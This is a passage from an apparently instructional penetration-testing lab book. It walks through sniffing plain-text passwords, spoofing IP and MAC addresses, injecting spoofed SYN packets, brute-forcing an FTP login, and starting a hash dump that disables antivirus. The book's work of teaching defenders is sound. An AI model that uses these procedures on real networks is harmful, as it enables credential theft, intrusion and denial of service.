Traffic\n\u0001\n233\nBy opening the file you can analyze the captured data.\n*Note: Attackers are looking for any unencrypted (plain text) data that flows along\nthe network. Some of the items of interest are:\n\u0001\nUsernames\n\u0001\nPasswords\n\u0001\nE-mails\n\u0001\nIP addresses\n\u0001\nMAC addresses\n\u0001\nRouter IP addresses\n" }, { "page_number": 247, "text": "234\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 45: Packet Capture — Sniffer \nMonitor IP Network Traffic Flow: IPDump2 \nPrerequisites: None\nCountermeasures: Encryption, various sniffer detector applications\nDescription: The IPDump2 application is a command-line utility that allows\nfor the monitoring of the network traffic flow. The output can be saved\nto a file for further diagnoses. This type of capture used in conjunction\nwith switch bypass techniques can be valuable to an attacker to determine\nwhich computers communicate with which other servers. This application\ndoes not give details of the packets captured by displaying the flow of the\ntraffic captured. Remember that all Linux commands are case sensitive.\nProcedure: For Windows simply execute from the directory containing the\nexecutable. For Linux, uncompress and execute with the following syntax:\nipdump2 (interface) \nFor Linux\nFrom the directory containing the compressed files type tar –zxvf ipdump2-\npre1.tgz.\nThe files will uncompress into a new directory named ipdump2-pre1.\nChange to the new directory by typing cd ipdump2-pre1 and pressing Enter.\nExecute by typing\n./ipdump2 eth0\n*Note: The interface in this example is eth0 as it is the only interface in this virtual\nmachine. If you have multiple NICs you may wish to use other NICs by\nincrementing the number: int1, int2, ppp0, ppp1, and so on.\n" }, { "page_number": 248, "text": "Sniffing Traffic\n\u0001\n235\nThe traffic will appear on the screen identifying the IP addresses of each\npacket as well as which port each packet is coming from and destined to.\nUnless instructed otherwise, the application will continue to run until the Ctrl\nplus the C key is pressed. The packets are displayed as:\nDate – Time – Protocol – Source IP Source Port – Dest. \nIP – Dest Port\n*Note: Keep in mind that the traffic you see is completely dependent upon the\nenvironment the computer “sniffing” resides in. For example, if the network\nlink you are using is connected to a network hub, you will be able to see\nall traffic going through that hub to all other computers on that hub. If,\nhowever, the network link you are using is connected to a switch, you will\nonly be able to see traffic specifically destined to your connection. There is\na way to “sniff” traffic on a switch to show all traffic to a specific or every\ncomputer on a switch, which will be covered in Chapter 9.\n" }, { "page_number": 249, "text": "236\n\u0001\nPractical Hacking Techniques and Countermeasures\nIPDump2 also allows for the saving of the output to a file for later analysis\nby typing:\n./ipdump2 eth0 >> captured.txt\nThe IPDump2 application will run all data sent to a file named cap-\ntured.txt.\n" }, { "page_number": 250, "text": "Sniffing Traffic\n\u0001\n237\nBy opening the file with a text editor the contents of the captured.txt file\nare ready for analysis.\nFor Windows\nFrom the directory containing the IPDump2 executable, type:\nipdump2 0\n*Note: The interface in this example is 0 as it is the only interface in this virtual\nmachine. If you have multiple NICs you may wish to use other NICs by\nincrementing the number: 1, 2, and so on.\n" }, { "page_number": 251, "text": "238\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe IPDump2 application will display the packet flow on the screen.\nUnless instructed otherwise, the application will continue to run until the Ctrl\nplus the C keys are pressed.\nIPDump2 also allows for the saving of the output to a file for later analysis\nby typing:\n./ipdump2 0 >> captured.txt\n" }, { "page_number": 252, "text": "Sniffing Traffic\n\u0001\n239\nBy opening the file with a text editor the contents of the captured.txt file\nare ready for analysis.\n*Note: IPDump2 is a good tool for tracking the data flow in and out of the computer it\nis installed on by providing a quick display of the IP connections taking place\nas well as ports in use. Security professionals can use this type of application to\nquickly spot ports commonly used by known Trojans.\n" }, { "page_number": 253, "text": "240\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 46: Password Capture — Sniffer \nExploit Passwords and Sniff the Network: ZxSniffer \nPrerequisites: None\nCountermeasures: Encryption, various sniffer detector applications\nDescription: The ZxSniffer application is an excellent utility that allows\nyou to capture packets as they traverse the network, save to output to\na file for further review, and capture passwords for POP3, FTP, ICQ,\nand HTTP traffic.\nProcedure: Install and run the ZxSniffer executable.\nDouble-click the ZxSniffer executable.\nClick Next.\n" }, { "page_number": 254, "text": "Sniffing Traffic\n\u0001\n241\nAccept the default Destination folder and select either Add Desktop icon\nand/or Add Start menu icon. Click Install.\nThe ZxSniffer application will install. Click Exit.\n" }, { "page_number": 255, "text": "242\n\u0001\nPractical Hacking Techniques and Countermeasures\nIf you receive a Cannot found selected adapter error, click OK.\nThe Options screen will appear. Select the NIC you want ZxSniffer to use.\n" }, { "page_number": 256, "text": "Sniffing Traffic\n\u0001\n243\nThe default screen is the Password capture screen and by default, is turned\nON. As plain text, username/passwords traverse the network, ZxSniffer will\ncapture and display them on this screen.\n*Note: Keep in mind that the traffic you see is completely dependent upon the\nenvironment the computer “sniffing” resides in. For example, if the network\nlink you are using is connected to a network hub, you will be able to see all\ntraffic going through that hub to all other computers on that hub. If, however,\nthe network link you are using is connected to a switch, you will only be\nable to see traffic specifically destined to/from your connection. There is a\nway to “sniff” traffic on a switch to show all traffic to a specific or every\ncomputer on a switch, which will be covered in Chapter 9.\n" }, { "page_number": 257, "text": "244\n\u0001\nPractical Hacking Techniques and Countermeasures\nBy clicking on the Traffic icon the traffic monitoring screen appears. As\ntraffic moves through the network the data is displayed on this screen.\nFrom the data captured in this example, notice the column named Direc-\ntion because compared to other traffic monitoring applications ZxSniffer is\nintelligent enough by simply flipping the arrow indicating the direction of the\ntraffic instead of entering a new line for each flow change. This makes it easier\nfor the user to track communications.\n" }, { "page_number": 258, "text": "Sniffing Traffic\n\u0001\n245\nBy clicking on the Save icon ZxSniffer will ask for a location to save the data\nto. Give the captured data a filename and accept the default location and click Save.\n(This is another nice feature of ZxSniffer as it saves the data in HTML format.)\nBy opening the file (the default location ZxSniffer files are saved to is C:\\\nProgramFiles\\ZxSniffer/, you can review the results of the file in HTML format.\n" }, { "page_number": 259, "text": "246\n\u0001\nPractical Hacking Techniques and Countermeasures\nFrom the ZxSniffer application click on the Capture icon. The packet\ncapture screen will appear.\nClick on the Start icon to initiate the packet capture (sniffer).\n" }, { "page_number": 260, "text": "Sniffing Traffic\n\u0001\n247\nWhen enough data has been captured, click on the Stop icon and the\ncaptured data will appear.\nFrom the data captured, scroll through the center area and view the content\nof the packet in the lower-right area of the ZxSniffer screen to look for any\nvaluable data that may be in the packets (plain text).\nIn this case, an FTP session was established with the username of hacker.\n" }, { "page_number": 261, "text": "248\n\u0001\nPractical Hacking Techniques and Countermeasures\nBy scrolling through the packets one at a time, the password is also\ndisplayed. In this case the password is zerocool.\nMinimize the application and it will place an icon by the clock in the lower-\nright section of the Windows desktop. By placing the mouse over this icon\nperiodically, ZxSniffer will let you know how many new passwords have been\ncaptured since the last time you checked.\n*Note: I have personally used this application in conjunction with the “see all” port\non a switch to help track down a hacker coming out of New York City via a\ncompromised server of a travel agency out of Washington state. This is an\neffective tool. \nAs for an attacker’s advantage, a prime example would be to have a\ncompromised Terminal Service account, term serve into the server, and exe-\ncute the ZxSniffer application. Then at the attacker’s convenience log back in\nand check the passwords captured, packets captured, and so forth.\n" }, { "page_number": 262, "text": "Sniffing Traffic\n\u0001\n249\nLab 47: Exploit Data from Target Computer –– Sniffit \nPrerequisites: None \nCountermeasures: Secure access control lists (ACLs), Bastion servers/\nworkstations, host-based firewalls\nDescription: The Sniffit application captures Transfer Control Protocol\n(TCP), UDP, and ICMP packets, which provide detailed information in\nhex or plain text. Sniffit can detect Ethernet and PPP and other devices,\ncan filter the results for desired effects, and can save the output to a\nlog file for further analysis. Remember that all commands in Linux are\ncase sensitive.\nProcedure: Configure and create the Sniffit application and execute with\nthe following syntax:\nsniffit \nFrom the directory containing the compressed files type tar –zxvf snif-\nfit.0.3.7.beta.tar.gz.\nThe files will uncompress into a new directory named sniffit.0.3.7.beta.\nChange to the new directory by typing cd sniffit.0.3.7.beta and pressing\nEnter.\nThe Sniffit application needs to be compiled to the specific machine it is\non by typing ./configure.\n" }, { "page_number": 263, "text": "250\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe Sniffit application will configure for the specific machine.\nThe last step is to create the executable by typing make and pressing Enter.\n" }, { "page_number": 264, "text": "Sniffing Traffic\n\u0001\n251\nThe Sniffit application will now be created.\nTo start the Sniffit application, type:\n./sniffit –s 172.16.1.45 –x –a –F eth0\n\u0001\nThe –s 172.16.1.45 instructs Sniffit to use this IP address as the source. \n\u0001\nThe –x option instructs Sniffit to display extended packet information.\n\u0001\nThe –a option is not very well documented in the Sniffit.8 file.\n\u0001\nThe –F eth0 instructs Sniffit to use the Ethernet device 0.\n" }, { "page_number": 265, "text": "252\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe Sniffit application will start.\nFor a “proof of concept,” in this example, a terminal session was started to\ninitiate an FTP session.\n" }, { "page_number": 266, "text": "Sniffing Traffic\n\u0001\n253\nNotice that as soon as the attempt is made to the FTP server, the traffic is\nscrolling on the Sniffit screen.\nThe username is entered to log in.\n" }, { "page_number": 267, "text": "254\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe password is entered.\nAt this point, the user is logged into the FTP server.\n" }, { "page_number": 268, "text": "Sniffing Traffic\n\u0001\n255\nThe command is to type quit to exit the FTP connection.\nThe Sniffit output is displayed on the screen. Notice the clear text FTP\ncommand of QUIT is displayed on the screen. If you scroll up on the output,\nyou will also see the clear-text username and password as well.\nTo stop the Sniffit application, hold down the Ctrl key and press the C key.\n" }, { "page_number": 269, "text": "256\n\u0001\nPractical Hacking Techniques and Countermeasures\nSniffit also allows for the redirection of the output to a log file instead of\ndisplaying the output on the screen. This is done with the syntax of:\n./sniffit –s 172.16.1.45 –x –a –F eth0 > sniffit.log\nThis will save all output into a log file named sniffit.log.\n*Note: Notice when you hit the Enter key the cursor will not drop to a new line\nuntil you stop the application.\nThe identical FTP connection is made as above.\n" }, { "page_number": 270, "text": "Sniffing Traffic\n\u0001\n257\nTo stop the Sniffit application hold down the Ctrl key and press the C key.\nTo read the sniffit.log file, type: \ncat sniffit.log |more\n" }, { "page_number": 271, "text": "258\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe contents of the file will be displayed one page at a time. By pressing\nthe spacebar you can scroll through the file page by page.\nBy scrolling through the file, the plain-text username of hacker is shown.\n" }, { "page_number": 272, "text": "Sniffing Traffic\n\u0001\n259\nBy continuing to scroll through the file, the plain-text password of zerocool\nis displayed.\n*Note: Keep in mind that the traffic you see is completely dependent upon the\nenvironment the computer “sniffing” resides in. For example, if the network\nlink you are using is connected to a network hub, you will be able to see all\ntraffic going through that hub to all other computers on that hub. If, however,\nthe network link you are using is connected to a switch, you will only be\nable to see traffic specifically destined to your connection. There is a way to\n“sniff” traffic on a switch to show all traffic to a specific or every computer\non a switch, which will be covered in Chapter 9.\n" }, { "page_number": 273, "text": "" }, { "page_number": 274, "text": "Chapter 6 \nSpoofing \n" }, { "page_number": 275, "text": "" }, { "page_number": 276, "text": "Spoofing\n\u0001\n263\nLab 48: Spoofing IP Addresses \nSend Packets via False IP Address: RafaleX \nPrerequisites: None\nCountermeasures: Firewall filters, vendor patches where applicable\nDescription: The RafaleX application allows for the creation of custom\nIP packets. The packet is very customizable and allows for the spoofing\nof the IP, setting the flags, number of packets, and so forth.\nProcedure: Start the application, set the parameters, and execute.\nDouble-click the RafaleX icon to start the application.\n*Note: RafaleX is becoming hard to locate on the Internet as it appears it is now called\nEngage Packet Builder. I found that Engage has difficulties with the wireless\ncard in my virtual computer so this lab was run with the RafaleX application.\nThe Ethereal sniffer (Lab 41) was used to validate the results of this lab.\nFrom the RafaleX screen set the Network interface to the desired Network\nInterface Card (NIC).\n" }, { "page_number": 277, "text": "264\n\u0001\nPractical Hacking Techniques and Countermeasures\nIn this example, the Source IP of the packets to be sent is set to 10.10.10.10\nwith the source address of port 123. According to Internet etiquette, this should\nnever be able to route on the Internet as the 10.x.x.x range is reserved for\nprivate addressing. \nSet the destination IP to the target address. In this example it is 172.16.1.40.\nSet the Destination port to port 21.\n" }, { "page_number": 278, "text": "Spoofing\n\u0001\n265\nThe SYN and ACK flags were set for each packet.\n*Note: The Ethernet communications process requires a three-way handshake:\n\u0001\nSYN: Synchronize \n\u0001\nSYN-ACK: Synchronize-Acknowledge\n\u0001\nACK: Acknowledge\nWhen a computer receives an uninitiated SYN-ACK packet its response is\nto send a RST (Reset) packet.\nThe number of packets was set to 100.\n" }, { "page_number": 279, "text": "266\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick the Send button to send the packets to the target. The Status area\nat the bottom left of the application will tell you that the packets were sent.\nFrom the target, the Ethereal sniffer was running while the “spoofed”\nRafaleX packets were sent to it. As expected the server received each packet\nand identified that:\n\u0001\nThe source of the packet is coming from 10.10.10.10 on port 123.\n\u0001\nThe source packet has both the SYN and ACK flags set.\n" }, { "page_number": 280, "text": "Spoofing\n\u0001\n267\nBy scrolling to the next packet in the series:\n\u0001\nThe target is responding to the IP address of 10.10.10.10.\n\u0001\nThe target is setting the RST flag on each packet.\n*Note: The RafaleX application is an excellent way to “spoof” custom packets.\nAttackers can place a valid IP address as the source of the packet and the\ntarget will have to attempt to respond to the spoofed address. By sending\nhundreds of thousands of packets in this manner, an attacker can create a\nDenial of Service attack against a target (refer to Chapter 11).\n" }, { "page_number": 281, "text": "268\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 49: Spoofing MAC Addresses\nSend Packets via False MAC Address: SMAC \nPrerequisites: None\nCountermeasures: Firewall filters, vendor patches where applicable\nDescription: Spoofed Media Access Control (SMAC) allows you to “spoof”\nthe Media Access Control (MAC) address of the computer it is installed\non. This change is not performed at the hardware layer but at the\nsoftware layer and even sustains reboots. This lab uses version 1.1.\nVersion 1.2 and up require purchase.\nProcedure: Install, set the parameters, and reboot.\nDouble-click the SMAC installation icon.\nThe SMAC self-installation will start. Accept the default directory for the\nextraction of the files or choose another by clicking Browse. Click Unzip.\n" }, { "page_number": 282, "text": "Spoofing\n\u0001\n269\nThe files will uncompress and a dialog box will appear. Click OK.\nChange to the directory the files were uncompressed to. Double-click on\nthe Setup file to start the installation.\n" }, { "page_number": 283, "text": "270\n\u0001\nPractical Hacking Techniques and Countermeasures\nInstall the SMAC application with the default options. SMAC will install\nand a dialog box will appear. Click OK.\nThe SMAC application will begin. In the lower-left corner of the application\nthe current MAC address of the computer is displayed.\n" }, { "page_number": 284, "text": "Spoofing\n\u0001\n271\nTo verify the MAC address, bring up an MS-DOS prompt and ping a target.\nIn this example:\nping –t 172.16.1.40\nThe –t option instructs the ping utility to ping continuously until stopped.\nFrom the target machine bring up Ethereal (Lab 41) and start a sniffing session.\nCatch a few packets and stop the sniffer. From the results, click to highlight one of\nthe captured, Internet Control Messenger Protocol (ICMP) packets and observe the\ncenter area of Ethereal. From this, the source has a MAC address of\n00:0c:29:b6:40:95, which is identical to what the computer with SMAC has identified.\n" }, { "page_number": 285, "text": "272\n\u0001\nPractical Hacking Techniques and Countermeasures\nReturn to the SMAC computer and type a new “spoofed” address in the\nSpoofed MAC Address block.\n*Note: In order for SMAC to work correctly, you must enter a valid MAC address. It\ndoes not have to be from the same manufacturer as the real NIC but must\nbe a valid NIC address.\n" }, { "page_number": 286, "text": "Spoofing\n\u0001\n273\nClick on the Update MAC address and the new spoofed MAC address will\nappear in the lower-left corner of the application. Click the Exit button.\nRestart the computer.\nOnce the computer has rebooted, open the SMAC address. Notice the\n“spoofed” address is now the active MAC address for the computer.\n" }, { "page_number": 287, "text": "274\n\u0001\nPractical Hacking Techniques and Countermeasures\nBring up an MS-DOS prompt and repeat the ping command against a target.\nFrom the target computer, repeat the Ethereal test as above. From the\nresults, the source has a MAC address of 00:0c:29:b6:40:10, which is identical\nto what the “spoofed” MAC address should be according to SMAC.\n" }, { "page_number": 288, "text": "Spoofing\n\u0001\n275\nBecause SMAC allows for reboots it must provide a way to release the\n“spoofed” MAC address to return to normal. The “spoofed” MAC address will\ndisappear in the lower-left corner of the application.\nClick the Exit button. Reboot the computer.\nOnce the computer has rebooted, open the SMAC address. Notice the\nactive MAC address is the actual MAC address of the computer.\n" }, { "page_number": 289, "text": "276\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo verify the change repeat the ping process.\nFrom the target computer, repeat the Ethereal test as above. From the results,\nthe source has a MAC address of 00:0c:29:b6:40:95, which is the real MAC address\nof the SMAC computer.\n*Note: Before SMAC came around, the best choice to spoof a MAC address was to use\na Linux-based tool. SMAC is an excellent tool to spoof a Windows MAC address.\n" }, { "page_number": 290, "text": "Spoofing\n\u0001\n277\nLab 50: Spoofing MAC Addresses\nSend Packets via a False MAC Address: Linux \n \nPrerequisites: None\nCountermeasures: Firewall filters, vendor patches where applicable\nDescription: Linux has the ability to “spoof” its own MAC address. This\nlab will demonstrate how to “spoof” your MAC with Linux and have\nthat same “spoofed” MAC address occur on each reboot automatically.\nRemember that all commands in Linux are case sensitive.\nProcedure: Set the parameters and execute:\nifconfig (interface name) hw ether (spoofed MAC address)\nFrom a Linux terminal type ifconfig and press the Enter key. The current\nEthernet configuration will be displayed, including the MAC address. In this\nexample:\n00:0c:29:4e:1e:cd\n" }, { "page_number": 291, "text": "278\n\u0001\nPractical Hacking Techniques and Countermeasures\nVerify the MAC address against a target by starting a ping command while\nrunning Ethereal (Lab 41):\nping 172.16.1.40\nFrom the Ethereal application capture a few packets for verification. Click\nto highlight an ICMP packet. In this example the results verified the original\nMAC address of 00:0c:29:4e:1e:cd.\n" }, { "page_number": 292, "text": "Spoofing\n\u0001\n279\nDisable the eth0 NIC by typing ifconfig eth0 down.\nIn this example, the default MAC address was changed by typing:\nifconfig eth0 hw ether 11:22:33:44:55:66\n" }, { "page_number": 293, "text": "280\n\u0001\nPractical Hacking Techniques and Countermeasures\nEnable the eth0 NIC by typing ifconfig eth0 up.\nVerify on the Linux machine that the MAC address has changed by typing\nifconfig and pressing Enter. In this example, the results verify:\n\u0001\nThe new MAC address has been changed to 11:22:33:44:55:66.\n" }, { "page_number": 294, "text": "Spoofing\n\u0001\n281\nRepeat the ping process as above to validate the new results across the network.\nRepeat the Ethereal process as above. In this example, the results:\n\u0001\nVerify that the new MAC address of 11:22:33:44:55:66 travels across\nthe network.\n" }, { "page_number": 295, "text": "282\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo automatically have the eth0 NIC run with a “spoofed” MAC address open:\n/etc/sysconfig/networking/devices/ifcfg-eth0\nEdit the BOOTPROTO=dhcp line to BOOTPROTO=none. Save and close\nthe file to prevent the eth0 NIC from activating on boot.\n" }, { "page_number": 296, "text": "Spoofing\n\u0001\n283\nOpen the rc.local file for editing at: /etc/rc.d/rc.local. Add the “spoofed”\nMAC address by typing:\nifconfig eth0 hw ether 12:34:56:78:90:10\nIf the machine requires a DHCP connection to obtain an IP address:\n\u0001\nType the line: /sbin/dhcpcd eth0\n\u0001\nSave and close the file\nReboot the Linux machine and the new “spoofed” MAC address will now\nbe used.\n*Note: Sometimes it is the simple things that work either the quickest or the best.\nAs for changing the MAC address in Linux, this way works as well as any\napplication; however, apparently this technique only works on eth0.\n" }, { "page_number": 297, "text": "284\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 51: Packet Injection/Capture/Trace \nSend Packets via a False IP/MAC Address: Packit \nPrerequisites: None\nCountermeasures: Firewall filters, vendor patches where applicable\nDescription: Packit is a network-auditing tool. Its value is derived from\nits ability to customize, inject, monitor, and manipulate IP traffic. By\nallowing you to define (spoof) all Transfer Control Protocol (TCP), User\nDatagram Protocol (UDP), ICMP, IP, Address Resolution Protocol\n(ARP), Reverse Address Resolution Protocol (RARP), and Ethernet\nheader options, Packit can be useful in testing firewalls, intrusion\ndetection systems, port scanning, simulating network traffic and gen-\neral TCP/IP auditing. Packit is also an excellent tool for learning TCP/IP.\nRemember that all commands in Linux are case sensitive.\nProcedure: Compile, create, set parameters, and execute with the follow-\ning syntax:\nPacket capture: \n./packit -m capture [-cGHnvsX] [-i interface] [-r|-w \nfile] expression\nPacket injection: \n./packit -m inject [-t protocol] [-aAbcCdDeFgGhHjJkKlLm-\nMnNoOpPqQrRsSTuUvwWxXyYzZ] [-i interface]\nPacket trace:\n./packit -m trace [-cGHnvsX] [-i interface] \n[-r|-w file] expression\nFrom the directory containing the compressed files, type tar –zxvf packit-\n1.0.tgz.\nThe files will uncompress into a new folder named packit-1.0.\n" }, { "page_number": 298, "text": "Spoofing\n\u0001\n285\nChange to the new directory by typing cd packit-1.0 and pressing Enter.\nConfigure the Packit application for the specific machine it is on by typing\n./configure.\nPackit will configure for the specific machine.\n" }, { "page_number": 299, "text": "286\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe next step is to create the executable by typing make and pressing Enter.\nThe Packit application will be created.\n" }, { "page_number": 300, "text": "Spoofing\n\u0001\n287\nInstall the Packit application by typing make install and pressing Enter.\nThe Packit application will install.\n" }, { "page_number": 301, "text": "288\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo capture all packets, type the following syntax:\n./packit –m cap\nThe –m cap tells Packit to run in mode capture.\nThe packets will scroll on the screen.\n" }, { "page_number": 302, "text": "Spoofing\n\u0001\n289\nTo tell Packit to capture only TCP traffic, type:\n./packit –m cap 'tcp'\nFrom the syntax above, only TCP traffic will scroll on the screen.\n" }, { "page_number": 303, "text": "290\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo capture the first 100 packets and save the data to a file, type:\n./packit –m cap –c 100 'tcp' –w 100packets.txt\n\u0001\nThe –c 100 tells Packit to limit the captured packets to 100.\n\u0001\nThe –w 100packets.txt tells Packit to write the results to a text file named\n100packets.txt.\nIn this example, the first TCP 100 packets will be written to a file named\n100packets.txt.\n" }, { "page_number": 304, "text": "Spoofing\n\u0001\n291\nThe 100packets.txt file is written.\nOpen the 100packets.txt file by typing:\n./packit –m cap –r 100packets.txt\nThe –r 100packets.txt tells Packit to read the saved file named 100packets.txt.\n" }, { "page_number": 305, "text": "292\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe file is now open for analysis.\nTo inject 100 SYN packets against a specific target from a “spoofed” IP and\n“spoofed” MAC address type:\n./packit –s 1.2.3.4 –d 172.16.1.40 –S 100 –D 80 –c 100 \n–F S –e AA:BB:CC:DD:EE:FF\n\u0001\nThe –s 1.2.3.4 tells Packit to place a source IP of 1.2.3.4 on each packet.\n\u0001\nThe –d 172.16.1.40 tells Packit to send to the target IP of 172.16.1.40.\n\u0001\nThe –S 100 tells Packit to use port 100 as the source port.\n\u0001\nThe –D 80 tells Packit to send to port 80 of the target.\n\u0001\nThe –F S tells Packit to set the SYN flag of each packet.\n\u0001\nThe –e AA:BB:CC:DD:EE:FF tells Packit to use AA:BB:CC:DD:EE:FF as the\nsource MAC address.\n" }, { "page_number": 306, "text": "Spoofing\n\u0001\n293\nThe Packit application will insert the 100 “spoofed” packets against the target.\nFrom the target run an Ethereal (Lab 41) session to validate the packet injection.\n\u0001\nThe packets made it to the target from a “spoofed” IP of 1.2.3.4.\n\u0001\nThe packets have a “spoofed” MAC address of AA:BB:CC:DD:EE:FF.\n\u0001\nThe packets were in the TCP protocol.\n\u0001\nThe packets came from port 100.\n\u0001\nThe packets were sent to port 80. \n" }, { "page_number": 307, "text": "294\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo trace a route to a target type:\n./packit –m trace –t TCP –d www.target.com –S 80 –F S\nThe target destination will be traced with each “hops” results displayed.\n*Note: Remember that attackers will commonly trace a target to attempt to identify\nthe IP address before the target. This is probably a router.\n*Note: Packit is a pretty good application for injecting “spoofed” IP/MAC addresses.\nAttackers can use this tool for several reasons (i.e., verifying if egress/ingress\nfiltering is “on” on the routers, Man-in-the-Middle (MTM) attacks, Denial of Ser-\nvice (DoS) attacks).\n" }, { "page_number": 308, "text": "Spoofing\n\u0001\n295\nLab 52: Spoof MAC Address \nAltering the MAC Address: VMware Workstation \nPrerequisites: None\nCountermeasures: Firewall filters, vendor patches where applicable\nDescription: VMware Workstation is perfect for “spoofing” a MAC address\nas the computer itself is completely virtual. Even though VMware Work-\nstation uses a configuration file to identify which MAC address will be\nused, this file can be edited to the user’s choice.\nProcedure: Edit the appropriate file and turn on the virtual computer.\nVerify the current MAC address with the ipconfig /all command.\nIn this example, the MAC address is 00:0c:29:a3:e4:40.\nTo manually assign a new static MAC address for a virtual machine, locate\nand open with Notepad the virtual machines configuration file. The file ends\nwith a .vmx extension. In this example, the filename is Windows 2000\nServer.vmx. For Linux machines the configuration file may end with the .cfg\nextension.\n" }, { "page_number": 309, "text": "296\n\u0001\nPractical Hacking Techniques and Countermeasures\nOnce the file is open locate the Ethernet0.addressType = \"generated\"\nline.\nHighlight and delete the following lines of the configuration file:\nEthernet0.addressType = “generated”\nuuid.location = “xx xx xx xxxx xx xx xx-xx xx xx xx xx \nxx xx xx”\nuuid.bios = “xx xx xx xxxx xx xx xx-xx xx xx xx xx xx xx \nxx”\nethernet0.generatedAddress = “xx:xx:xx:xx:xx:xx”\nethernet0.generatedAddressOffset = “0”\n*Note: The new MAC address (XX:XX:XX:AA:BB:CC) has some limitations:\n\u0001\nThe AA must be a valid hexadecimal number between 00h and 3Fh.\n\u0001\nThe BB and CC must be a valid hexadecimal number between 00h and FFh.\nAssign a new MAC address based on the parameters stated above. In this\ncase, the new MAC address is 00:50:56:3F:FF:FF.\n" }, { "page_number": 310, "text": "Spoofing\n\u0001\n297\nBy returning to the virtual computer and running the ipconfig /all com-\nmand again, the new MAC address can be verified. All packets leaving this\nmachine will have the new MAC address.\n" }, { "page_number": 311, "text": "" }, { "page_number": 312, "text": "Chapter 7\nBrute Force\n" }, { "page_number": 313, "text": "" }, { "page_number": 314, "text": "Brute Force\n\u0001\n301\nLab 53: Brute-Force FTP Server \nCrack an FTP Password: NETWOX/NETWAG \nPrerequisites: File Transfer Protocol (FTP) server\nCountermeasures: Bastion servers/workstations, host-based firewalls,\nstrong passwords, FTP over Secure Socket Layer (SSL)\nDescription: The NETWOX (NETWork toolbOX) application can be a\nvery dangerous tool in the wrong hands. At the time of this writing,\nthe latest version has 197 different techniques to enumerate informa-\ntion from the Local Area Network (LAN) or launch attacks against a\nremote target. This tool is listed in several sections of this manual. In\nthis lab the tool is used to demonstrate its ability to brute-force an FTP\nserver given a username and password list. Remember that all com-\nmands in Linux are case sensitive.\nProcedure: Compile all components, run the NETWOX application, and\nreview the results.\nFrom the directory containing the compressed files, type tar –zxvf netw-\nib-ox-ag-5.18.0.tgz.\nThe files will uncompress into several new directories.\nCompile the NETWLIB component from the SRC/NETWIB-LIB/SRC\ndirectory starting with the syntax. /genemake.\n" }, { "page_number": 315, "text": "302\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo compile the executable, type the make command.\nInstall the application by typing make install. \n" }, { "page_number": 316, "text": "Brute Force\n\u0001\n303\nThe application will now install.\nThe next step is to compile the NETWOX component from the SRC/NETWOX-\nLIB/SRC directory with the same steps of ./genemake, make, and make install.\nThe final compiling step is to compile the NETWAG component from the\nSRC/NETWAG-SRC/SRC directory with the same steps of ./genemake, make,\nand make install.\nThe NETWOX application is a command-line application. The NETWAG\napplication is the Graphical User Interface (GUI) for the NETWOX application.\nIn this example the NETWAG example will be used. From the NETWAG\ndirectory in Linux start the application with the syntax of:\n./netwag\n" }, { "page_number": 317, "text": "304\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe following screen will appear listing each tool that NETWOX is capable\nof performing.\n*Note: In this lab toll number 130 will be used. Highlight toll 130 and click Help.\nHighlight item 130 (Brute Force FTP Client).\n" }, { "page_number": 318, "text": "Brute Force\n\u0001\n305\nBy clicking on the Help tab, you display the syntax of the tool.\nThe top section of the screen illustrates the correct syntax and examples\nof each tool selected. In this example, clicking on the Example button allows\nyou to view the text placed into the center white block of the screen. This is\nthe execution section. This is the syntax that will be executed and should be\nmodified to run against the target. \nThe lowest section contains the status of the tool’s execution.\n" }, { "page_number": 319, "text": "306\n\u0001\nPractical Hacking Techniques and Countermeasures\nIn this example there is an FTP server located at 192.168.11.120. Anon-\nymous FTP connections are not allowed and access is controlled by usernames\nand passwords. \nUsername.txt and Password.txt files have been created that contain a vari-\nety of combinations to be used in this lab.\nThe correct username/password should be mmouse and mmouse1. \n" }, { "page_number": 320, "text": "Brute Force\n\u0001\n307\n\u0001\nClick on the Form button at the top of the application.\n\u0001\nType the IP of the target in the dst-ip field.\n\u0001\nIncrease the timeout field to 60000 (6 seconds).\n\u0001\nSelect the stopatfirst option.\n\u0001\nBrowse and select the Username file for the login-file field.\n\u0001\nBrowse and select the Password file for the password-file field.\n\u0001\nClick the Generate button and view the syntax to be executed in the\nexecution section (the white area below the Form section).\n" }, { "page_number": 321, "text": "308\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick the Run it again button. View the results.\nEach password from the password file will be executed against the target.\nEach incorrect password will return a result of bad. The correct result will\nreturn a result of good.\nIn this example, the username of mmouse with the password of\nmmouse1 returns a result of good.\n*Note: I cannot stress enough the importance of this tool for either an attacker or a\nvulnerability/penetration test. The sheer amount of tools available is incredible.\n" }, { "page_number": 322, "text": "Brute Force\n\u0001\n309\nLab 54: Retrieve Password Hashes \nExtract Password Hashes: FGDump \nPrerequisites: Administrative access\nCountermeasures: Strong Administrator passwords, strong password policy\nDescription: The FGDump application was written to obtain the password\nhashes from the Security Accounts Manager (SAM) file on the target\ncomputer. The process includes:\n\u0001\nBinding to a machine using the Inter-Process Communication (IPC$)\nor list of targets\n\u0001\nStopping the running of antivirus programs\n\u0001\nLocating writable file shares\n\u0001\nUploading fgexec (for remote command execution) and cachedump\n\u0001\nExecuting pwdump\n\u0001\nExecuting cachedump\n\u0001\nDeleting uploaded files from the file share\n\u0001\nUnbinding from the file share\n\u0001\nRestarting any antivirus programs\n\u0001\nUnbinding from IPC$\n*Note: Even though an Administrator account is required, I prefer this tool over the\nPwdump application as all the work is done for me and the antivirus program\nis shut down and restarted. Sometimes antivirus software will stop Pwdump\nfrom being successful.\n" }, { "page_number": 323, "text": "310\n\u0001\nPractical Hacking Techniques and Countermeasures\nProcedure: Select the target and execute 